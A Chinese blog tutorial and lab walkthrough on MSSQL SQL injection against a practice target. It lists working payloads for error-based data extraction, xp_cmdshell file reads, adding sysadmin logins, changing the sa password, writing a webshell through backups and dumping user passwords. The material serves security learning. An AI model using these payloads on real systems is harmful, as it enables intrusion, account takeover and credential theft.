当你的才华
还撑不起你的野心时
那你就应该静下心来学习
目录
0x01 MSSQL 是个啥?
0x02 MSSQL 注入原理
0x03 MSSQL 常用命令
0x04 复现漏洞
为什么要写这篇文章?因为最近项目中经常遇到类似的数据库,遇到的比较少,老是搞忘,所以在实战中实践后,想记录一下,可能会有人问我,这些都是烂大街的东西了,为什么还要写?走自己的路让别人去看吧,愿能帮到需要帮助的人,怎么去找一个注入,这个需要经验,经验这东西,大部分各位师傅写的文章都会藏着掖着,毕竟这是自己的吃饭的家伙(开玩笑,开玩笑)
因为现在手头上没有对应的环境,就找了个合天线上的靶场来做演示,记录自己成长的轨迹
不喜勿喷,我不是什么大神,也不会写什么代码,也不会啥安全,就是一个刚刚勉强入门的脚本小子,一起共勉学习。
最后,借这篇文章开头,祝大家端午节快乐呀,尤其是那位大学的姑娘,很想再次跟你说一声抱歉,但却不知该如何开口,只能靠着自己写的文字来抒发情感,等忙完过段时间的项目后,准备抽空开个包含技术、情感的杂货铺公众号,发发牢骚,抒发想说的话。
MSSQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。SQL Server一开始并不是微软自己研发的产品,而是当时为了要和IBM竞争时,与Sybase合作所产生的,其最早的发展者是Sybase,同时微软也和Sybase合作过 SQL Server 4.2版本的研发,微软亦将SQL Server 4.2移植到Windows NT(当时为3.1版),在与Sybase终止合作关系后,自力开发出SQL Server 6.0版,往后的SQL Server即均由微软自行研发。
SQL Server 的最新版本 2012 版新增了这样一些特性:借助 AlwaysOn 群集和可用性组实现的高可用性及灾难恢复解决方案、使查询速度飞速提升的 xVelocity 内存中存储、借助 Analysis Services 中的 Power View 和表格建模实现的快速数据浏览和可缩放业务智能,以及 Data Quality Services 带来的全新数据管理能力。
MSSQL注入攻击是最为复杂的数据库攻击技术,由于该数据库功能十分强大,存储过程以及函数语句十分丰富,这些灵活的语句造就了新颖的攻击思路。
对于mssql的一个注入点我们往往最关心的这个注入点的权限问题,是sa、db_owner还是public;其次是这个注点是否显错,注释语句是否可用,例如sql server中注释符“--”;还有就是注入点是什么类型的,是字符型注入,还是数字型注入。
前一篇写的关于该命令的文章:SQL注入实战— MsSQL 常见注入命令
补充部分:在MSSQL中,由于其默认数据库的 id 号从 6 以后为用户定义数据库,因此利用这一特点,我们只要改动内带字典库的 id ,就可遍历出用户建立的数据库信息。
靶场地址(别访问了,是虚拟机的):http://10.1.1.215:8080/Information.aspx?id=1
1. 首先判断页面是否存在注入
id参数后面加个单引号,页面报错,此时这种情况下是比较大的概率是存在注入的(如果我说的有误,请师傅们指出,小弟非常感谢你宝贵的意见指导)
尝试闭合一下,发现单引号无法闭合
?id=1' and '1'='1
是否是就没办法呢?那么我们先排除它不是非字符串类型,尝试一下数字类型注入,如下:
?id=1 and 1=1 页面回显正常
?id=1 and 1=2 页面回显不正常
2. 判断是什么类型的数据库
Access:
and (select id from MSysAccessObjects) >0 返回正常说明是access
MSSQL:
and (select id from sysobjects) >0 返回正常说明是mssql
MySQL:
and length(user())>0 返回正常说明是MySQL
判断是否是Access 数据库,如回显正常说明是Access 数据库
判断是否是MySQL 数据库,如回显正常说明是MySQL 数据库
判断是否是MSSQL 数据库,如回显正常说明是MSSQL 数据库
is_srvrolemember ('sysadmin')函数是用来判断当前的数据用户是否属于管理员组权限,即sql server中的最高权限。利用is_srvrolemember ('sysadmin')返回的值来产生能触发强制类型转换错误的字符串。88是字母X的十进制ASCII值,%2B是加号("+")的URL编码。如果当前用户不属于sysadmin组,那么is_srvrolemember ('sysadmin')将返回0,char(88+0)将返回字母X。而如果当前用户拥有管理员权限,那么is_srvrolemember ('sysadmin')将返回1,char(88+1) 将返回字母Y,再次触发强制类型转换错误。
PS:URL中不能写成+,要写成URL编码后的形式%2b,因为URL中的+被认为是空格。
报错信息为Y,说明is_srvrolemember ('sysadmin')的值为1,可以断定当前的数据库用户属于管理员组。
4. 利用MSSQL 数据类型转发报错法
PS:
@@version是mssql 的全局变量,如果我们把它写成这样 and @@version, 那个后面的mssql就会强行把@@version 强行转换成数字,但是失败,所以就会将数据库信息暴露出来
1)爆数据库版本
?id=1 and 1=1/@@version
?id=1 and 1=@@version
2)爆当前数据库
?id=1 and 1=db_name()
3)查询当前用户
?id=1 and 1=user
4)判断是否是DB权限
?id=1 and 1=(select is_member('db_owner'))
5)判断是否是SA权限
?id=1 and 1=(select is_srvrolemember('sysadmin'))
在这样的权限下我们可以通过各种备份方式往目标的网站目录里写文件(webshell)
6)爆MSSQL的默认数据库
sysdatabases是MSSQL默认系统表.包含“master”,“msdb”,“mssqlweb”,“empdb”,“model”这五个表,对应的bdid的值为1到5
?id=1 and 1=(select name from master.dbo.sysdatabases where dbid=5)
剩余的步骤我不写了:
爆所有表
• 第一张表 union select top 1 name from 库名.dbo.sysobjects where xtype=’U’
• 第二张表 union select top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’)
• 第三张表 union select top 1 name from 库名.dbo.sysobjects where xtype=’U’ and name not in(‘第一张表’,’第二张表’)
…
爆列:
• 爆ID select id from seay.dbo.sysobjects where xtype=’U’ and name=’admin’
• 爆第一个列 select top 1 name from seay.dbo.syscolumns where id=ID号
• 爆第二个列 select top 1 name from seay.dbo.syscolumns where id=ID号 and name not in(‘第一个列’)
…
爆数据:
select 列名 from 表名
• master.dbo.xp_dirtree ‘c:\’; 遍历目录
• exec master.dbo.xp_availablemedia;– 获得当前所有驱动器
• exec master.dbo.xp_subdirs ‘c:\’;– 获得子目录列表
• exec master.dbo.xp_dirtree ‘c:\’;– 获得所有子目录的目录树结构
• exec master.dbo.xp_cmdshell ‘type c:\web\web.config’;– 查看文件的内容
备份数据库:backup database 库名 to disk=’c:/l.asp’;
MSSQL内置函数:
select @@version 查询数据库版本
select user_name() 查询当前数据库连接用户名
select db_name() 查询当前数据库名
更改sa密码
exec sp_password NULL,’新密码’,’sa’
添加SA权限用户
exec sp_addlogin ‘username’,’pass’,’master’;
exec sp_addsrvrolemember ‘username’, sysadmin检测是否支持多行
;declare @d int;–
停掉或激活某个服务。
exec master..xp_servicecontrol ‘stop’,’schedule’
exec master..xp_servicecontrol ‘start’,’schedule’
解开压缩档。
xp_unpackcab ‘c:\test.cab’,’c:\temp’,1恢复 xp_cmdshell
;exec master..dbo.sp_addextendedproc ‘xp_cmdshell’,’xplog70.dll’;–
开启沙盘模式:
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Jet\4.0\Engines’,’SandBoxMode’,’REG_DWORD’,1
如果是默认表的话,可以直接用如下Payload
爆用户密码的那个表(登陆框注入)就直接:
group by pub_user_inf.userid having 1=1--
group by pub_user_inf.userid,pub_user_inf.username having 1=1--
暴用户
' and (select top 1 pub_user_inf.username from pub_user_inf )>0--暴密码
' and (select top 1 pub_user_inf.password from pub_user_inf )>0--
PS:后续再更新MSSQL 提权、SA权限下该如何使用... ...
参考链接:
http://sh4d0w.lofter.com/post/1cb55ec4_6bea61d
https://www.hetianlab.com/queryExpStudy.do?ceid=f5b3d27e-2548-4b87-a1fd-8bbd8d61ce26
https://blog.csdn.net/God_XiangYu/article/details/96205607?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522159308212619724843352964%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=159308212619724843352964&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_v1~rank_blog_v1-3-96205607.pc_v1_rank_blog_v1&utm_term=MSSQL
虽然我们生活在阴沟里,但依然有人仰望星空!